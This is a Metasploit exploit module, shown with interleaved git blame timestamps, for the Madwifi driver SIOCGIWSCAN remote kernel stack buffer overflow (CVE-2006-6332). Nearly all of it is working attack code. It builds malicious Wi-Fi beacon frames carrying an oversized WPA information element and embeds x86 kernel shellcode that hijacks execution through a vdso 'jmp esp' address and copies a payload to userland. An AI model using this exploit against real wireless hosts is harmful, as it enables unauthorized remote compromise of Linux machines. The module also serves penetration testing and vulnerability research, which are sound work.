2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
|
2007-06-30 22:08:19 +00:00
|
|
|
# Madwifi remote kernel exploit
|
2010-04-30 08:40:19 +00:00
|
|
|
# 100% reliable, doesn't crash wifi stack, can exploit
|
2007-06-30 22:08:19 +00:00
|
|
|
# same target multiple times
|
|
|
|
#
|
|
|
|
# Julien TINNES <julien at cr0.org>
|
|
|
|
# Laurent BUTTI <0x9090 at gmail.com>
|
|
|
|
#
|
|
|
|
# vuln in giwscan_cb, here's the path:
|
|
|
|
#
|
|
|
|
# ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb
|
|
|
|
#
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-06-30 22:08:19 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'metasm'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2009-10-23 15:59:13 +00:00
|
|
|
include Msf::Exploit::Lorcon2
|
2007-06-30 22:08:19 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-06-30 22:08:19 +00:00
|
|
|
'Name' => 'Madwifi SIOCGIWSCAN Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
The Madwifi driver under Linux is vulnerable to a remote kernel-mode
|
|
|
|
stack-based buffer overflow.
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
The vulnerability is triggered by one of these properly crafted
|
|
|
|
information element: WPA, RSN, WME and Atheros OUI Current madwifi
|
|
|
|
driver (0.9.2) and and all madwifi-ng drivers since r1504 are
|
|
|
|
vulnerable
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
Madwifi 0.9.2.1 release corrects the issue.
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
This module has been tested against Ubuntu 6.10 and is 100% reliable,
|
|
|
|
doesn\'t crash the Wifi stack and can exploit the same machine multiple
|
|
|
|
time without the need to reboot it.
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
This module depends on the Lorcon2 library and only works on the Linux
|
|
|
|
platform with a supported wireless card. Please see the Ruby Lorcon2
|
|
|
|
documentation (external/ruby-lorcon/README) for more information.
|
|
|
|
},
|
|
|
|
'Author' =>
|
2007-06-30 22:08:19 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
'Julien Tinnes <julien at cr0.org>',
|
|
|
|
'Laurent Butti <0x9090 at gmail.com>'
|
2007-06-30 22:08:19 +00:00
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
2007-06-30 22:08:19 +00:00
|
|
|
[
|
|
|
|
['CVE', '2006-6332'],
|
2009-06-07 20:20:42 +00:00
|
|
|
['OSVDB', '31267'],
|
2010-04-30 08:40:19 +00:00
|
|
|
['URL', 'http://www.madwifi.org']
|
|
|
|
],
|
|
|
|
#'Stance' => Msf::Exploit::Stance::Passive,
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => [ ARCH_X86 ],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
#'Space' => 65,
|
|
|
|
# Metasploit doesn't support dynamic size payloads
|
|
|
|
# so we will handle this in metasm instead and ask for
|
|
|
|
# the smaller payload possible
|
|
|
|
#'Encoder' => Msf::Encoder::Type::Raw,
|
|
|
|
'DisableNops' => true
|
|
|
|
},
|
|
|
|
'Targets' =>
|
2007-06-30 22:08:19 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Ubuntu 6.10',
|
|
|
|
{
|
|
|
|
'JMPESP' => 0xffffe777,
|
|
|
|
'scan_iterate_ra' => "0x8014401"
|
|
|
|
}
|
|
|
|
],
|
|
|
|
|
|
|
|
[ 'Generic (you need non randomized vdso)',
|
|
|
|
{
|
|
|
|
'JMPESP' => 0xffffe777,
|
|
|
|
'scan_iterate_ra' => nil
|
|
|
|
}
|
|
|
|
]
|
2010-07-03 03:13:45 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Dec 08 2006'
|
|
|
|
))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2007-06-30 22:08:19 +00:00
|
|
|
OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']),
|
|
|
|
OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']),
|
|
|
|
OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]),
|
|
|
|
OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]),
|
|
|
|
OptString.new('ADDR_DST', [ true, "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']),
|
2010-04-30 08:40:19 +00:00
|
|
|
], self.class)
|
2007-06-30 22:08:19 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
open_wifi
|
|
|
|
|
|
|
|
#puts "kikoo " + payload.encoded.inspect
|
|
|
|
#puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',')
|
|
|
|
|
|
|
|
stime = Time.now.to_i
|
|
|
|
rtime = datastore['RUNTIME'].to_i
|
|
|
|
count = 0
|
|
|
|
|
|
|
|
print_status("Shellcode size is: #{payload.encoded.length} bytes")
|
|
|
|
print_status("Creating malicious beacon frame...")
|
|
|
|
|
|
|
|
frame = create_beacon()
|
|
|
|
|
|
|
|
print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...")
|
|
|
|
|
|
|
|
while (stime + rtime > Time.now.to_i)
|
|
|
|
wifi.write(frame)
|
|
|
|
select(nil, nil, nil, 0.10) if (count % 100 == 0)
|
|
|
|
count += 1
|
|
|
|
break if session_created? and datastore['SINGLESHOT']
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Completed sending #{count} beacons.")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
def create_beacon
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
ssid = datastore['SSID'].to_s
|
|
|
|
bssid = Rex::Text.rand_text(6)
|
|
|
|
channel = datastore['CHANNEL'].to_i
|
|
|
|
len = datastore['LENGTH'].to_i
|
|
|
|
seq = [rand(255)].pack('n')
|
|
|
|
jmpesp = target['JMPESP'] # jmp esp in vdso
|
2010-09-20 08:06:27 +00:00
|
|
|
|
|
|
|
# address just after the call (in ieee80211_scan_iterate in wlan.ko)
|
|
|
|
scan_iterate_ra=target['scan_iterate_ra']
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
if scan_iterate_ra
|
|
|
|
howtoreturn = "RETURN_PROPERLY" # Return to the parent of giwscan_cb parent
|
|
|
|
else
|
|
|
|
howtoreturn = "RETURN_BADLY" # Return to userland with IRET
|
|
|
|
end
|
|
|
|
|
|
|
|
bssiwlist = 0x0804ddd0
|
|
|
|
|
|
|
|
stacksize = "STACK_8K"
|
|
|
|
getregs = "CALCULATE"
|
|
|
|
#getregs = "IWANTTOSCANMANUALLY"
|
|
|
|
reg_cs = "0x73"
|
|
|
|
reg_ss = "0x7b"
|
|
|
|
|
|
|
|
wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <<EOS
|
2007-06-30 22:08:19 +00:00
|
|
|
#define #{stacksize} 1
|
|
|
|
#define #{getregs} 1
|
|
|
|
#define CS #{reg_cs}
|
|
|
|
#define SS #{reg_ss}
|
|
|
|
#define #{howtoreturn} 1
|
|
|
|
|
|
|
|
; chunk1
|
|
|
|
db 0, 0x50, 0xf2 ; wpa_oui
|
|
|
|
db 1 ; wpa_typ
|
|
|
|
db 1, 0 ; wpa_ver
|
|
|
|
|
|
|
|
back2:
|
|
|
|
;push 0x1C
|
|
|
|
;ret
|
|
|
|
|
|
|
|
;cld
|
|
|
|
|
|
|
|
#ifdef RETURN_PROPERLY
|
|
|
|
mov ebx, esp ; save esp
|
|
|
|
#endif
|
|
|
|
|
|
|
|
#ifdef IWANTTOSCANMANUALLY
|
|
|
|
mov eax, 4
|
|
|
|
checkforcs:
|
2010-04-30 08:40:19 +00:00
|
|
|
add esp, eax
|
2007-06-30 22:08:19 +00:00
|
|
|
cmp dword ptr [esp], 0x73 ; scan for cs
|
|
|
|
jnz checkforcs
|
|
|
|
|
|
|
|
cmp dword ptr [esp+12], 0x7b ; scan for ss
|
2010-04-30 08:40:19 +00:00
|
|
|
jnz checkforcs
|
2007-06-30 22:08:19 +00:00
|
|
|
|
|
|
|
mov edi, dword ptr [esp+8] ; put user stack address in edi
|
|
|
|
push edi
|
|
|
|
|
|
|
|
; NO SCAN, calculate the good value
|
|
|
|
#else
|
|
|
|
|
|
|
|
|
|
|
|
#ifdef STACK_8K
|
|
|
|
or esp, (0x2000-1) ; assume 8K stack
|
|
|
|
#else
|
|
|
|
or esp, (0x1000-1) ; assume 4K stack
|
|
|
|
#endif
|
|
|
|
|
|
|
|
sub esp, 0x17 ; cf return_from_syscall
|
|
|
|
mov edi, dword ptr [esp+8]
|
|
|
|
push edi
|
|
|
|
|
|
|
|
; IWANTTOSCANMANUALLY
|
|
|
|
#endif
|
|
|
|
|
|
|
|
; We can also go to BSS instead of stack
|
|
|
|
;mov edi, #{bssiwlist}
|
|
|
|
;push edi
|
|
|
|
|
|
|
|
call endsc
|
|
|
|
|
|
|
|
beginsc:
|
|
|
|
#if 0
|
|
|
|
call greetings
|
|
|
|
toto db "You're pwn3d :(\\n"
|
|
|
|
greetings:
|
|
|
|
mov eax, 4
|
|
|
|
mov ebx, 1
|
|
|
|
pop ecx
|
|
|
|
mov edx, (greetings - toto)
|
|
|
|
int 0x80
|
|
|
|
#endif
|
|
|
|
|
|
|
|
xor eax, eax
|
|
|
|
inc eax
|
|
|
|
inc eax
|
|
|
|
int 0x80 ; fork
|
|
|
|
cmp eax, 0
|
|
|
|
jnz doexit
|
|
|
|
|
|
|
|
;#include "/home/julien/Audit/metasploit3/modules/exploits/linux/madwifi/connectback.asm"
|
|
|
|
|
|
|
|
;; Metasploit's shellcode integration
|
2010-04-30 08:40:19 +00:00
|
|
|
; Old, bad method
|
2007-06-30 22:08:19 +00:00
|
|
|
;metasc db "#{payload.encoded.unpack('C*').map { |i| '\\x%02x' % i }.join}"
|
|
|
|
|
|
|
|
; this will be replaced by metasploit's payload
|
|
|
|
metasc:
|
|
|
|
; metasm will add padding here so that the next .offset is honored
|
|
|
|
.pad db 0x33
|
|
|
|
metascend:
|
|
|
|
|
|
|
|
doexit:
|
|
|
|
#if 1
|
|
|
|
; exit
|
|
|
|
xor eax, eax
|
|
|
|
inc eax
|
|
|
|
;mov ebx, 42
|
|
|
|
int 0x80
|
|
|
|
#endif
|
|
|
|
endsc:
|
|
|
|
|
|
|
|
pop esi
|
|
|
|
; let's copy the shellcode to userland
|
|
|
|
mov ecx, endsc - beginsc
|
|
|
|
rep movsb
|
|
|
|
|
|
|
|
#ifdef RETURN_PROPERLY
|
|
|
|
mov esp, ebx ; restore stack pointer
|
|
|
|
|
|
|
|
; If SCANFOR_SCAN_ITERATE defined
|
|
|
|
; scan for ieee80211_scan_iterate
|
|
|
|
; example address: e0b46401 (scan_iterate+0x11)
|
|
|
|
; It should be easier to use this if porting the exploit in a hurry
|
|
|
|
;#define SCANFOR_SCAN_ITERATE
|
|
|
|
|
|
|
|
#ifdef SCANFOR_SCAN_ITERATE
|
|
|
|
sub esp, 4 ; you can remove this in most cases
|
|
|
|
checkforretadd:
|
2010-04-30 08:40:19 +00:00
|
|
|
add esp, 4
|
2007-06-30 22:08:19 +00:00
|
|
|
mov ebx, dword ptr [esp+16] ; scan for return address, we know that we have
|
|
|
|
; four saved register before the return address
|
|
|
|
; (+16)
|
|
|
|
and ebx, 0x07FF
|
|
|
|
cmp ebx, #{scan_iterate_ra} & 0x07FF
|
|
|
|
jnz checkforretadd
|
|
|
|
|
|
|
|
;mov ebp, edi ; fixup EBP (cf end of ieee80211_ioctl_giwscan which will use it)
|
|
|
|
; we need a writeable address
|
|
|
|
|
|
|
|
#endif
|
|
|
|
; Here we know the stack layout and esp already has the correct value
|
|
|
|
|
|
|
|
pop ebx ; Well, no need to fixup EBP, just run
|
2008-09-22 15:52:18 +00:00
|
|
|
; sta_iterate epilogue, thanks Staphane Duverger,
|
2007-06-30 22:08:19 +00:00
|
|
|
; how could I miss that!
|
|
|
|
pop esi
|
|
|
|
pop edi
|
|
|
|
pop ebp
|
|
|
|
|
|
|
|
; release the locks
|
|
|
|
push esi ; save esi
|
|
|
|
mov eax, edi ; we use the fact that edi has the same value in ieee80211_ioctl_giwscan
|
|
|
|
; just before the call to i*_scan_iterate and in sta_iterate just before
|
|
|
|
; the ret
|
|
|
|
mov eax, [eax+0x978] ; cf. i*_scan_iterate
|
|
|
|
mov esi, [eax+8] ; cf. sta_iterate
|
|
|
|
|
|
|
|
xor eax, eax
|
|
|
|
inc eax
|
|
|
|
mov edx, eax
|
|
|
|
;xchg dl, [esi] ; already unlocked
|
|
|
|
xchg al, [esi+0x8C] ; release the lock!
|
|
|
|
|
|
|
|
pop esi
|
|
|
|
|
|
|
|
ret ; end of sta_iterate epilogue
|
|
|
|
|
|
|
|
; Else we don't return properly
|
|
|
|
#else
|
|
|
|
|
|
|
|
; we directly return from the syscall
|
|
|
|
iret
|
|
|
|
|
|
|
|
#endif
|
|
|
|
|
|
|
|
.offset 64*2+21
|
|
|
|
|
|
|
|
; chunk2
|
|
|
|
back1:
|
|
|
|
jmp.i back2
|
|
|
|
dd 0 ; this MUST be zero
|
|
|
|
|
|
|
|
; chunk3
|
|
|
|
dd 0, 0, 0, 0 ; end_buf, current_ev, ieee, iwscanreq
|
|
|
|
|
|
|
|
; chunk4
|
|
|
|
db #{len-6} dup(0x33)
|
|
|
|
;dd 0xffffe777 ; addr of 'jmp esp' in vdso page
|
|
|
|
dd #{jmpesp}
|
|
|
|
jmp.i8 back1
|
|
|
|
; assert
|
|
|
|
.offset 198
|
|
|
|
;.padto 198 ; assert
|
|
|
|
EOS
|
2010-04-30 08:40:19 +00:00
|
|
|
wiframe.encoded.patch("metasc", "metascend", payload.encoded)
|
|
|
|
value = wiframe.encode_string
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
#, 'monadresseip'=>(('172.24.94.252'.split('.').reverse.inject(0) { |ip, byte| (ip << 8) | byte.to_i }) ^ 0xffffffff)
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
#puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',')
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
if (len == 24 and value.length != 198)
|
2012-06-20 00:43:41 +00:00
|
|
|
fail_with(Exploit::Failure::BadConfig, "Value is too big! #{value.length}")
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
buf = "\xdd" + value.length.chr + value
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
frame =
|
2007-06-30 22:08:19 +00:00
|
|
|
"\x80" + # type/subtype
|
|
|
|
"\x00" + # flags
|
2010-04-30 08:40:19 +00:00
|
|
|
"\x00\x00" + # duration
|
2007-06-30 22:08:19 +00:00
|
|
|
eton(datastore['ADDR_DST']) + # dst
|
|
|
|
bssid + # src
|
|
|
|
bssid + # bssid
|
2010-04-30 08:40:19 +00:00
|
|
|
seq + # seq
|
2007-06-30 22:08:19 +00:00
|
|
|
Rex::Text.rand_text(8) + # timestamp value
|
|
|
|
"\x64\x00" + # beacon interval
|
|
|
|
"\x01\x00" + # capabilities
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
# ssid IE
|
|
|
|
"\x00" + ssid.length.chr + ssid +
|
|
|
|
|
|
|
|
# supported rates IE
|
|
|
|
"\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" +
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
# channel IE
|
|
|
|
"\x03" + "\x01" + channel.chr +
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
# invalid wpa IE buffer overflow
|
|
|
|
# wpa ie is an example, still valid for other IEs
|
|
|
|
buf
|
2007-06-30 22:08:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
return frame
|
2007-06-30 22:08:19 +00:00
|
|
|
end
|
|
|
|
|
2009-03-30 01:09:09 +00:00
|
|
|
end
|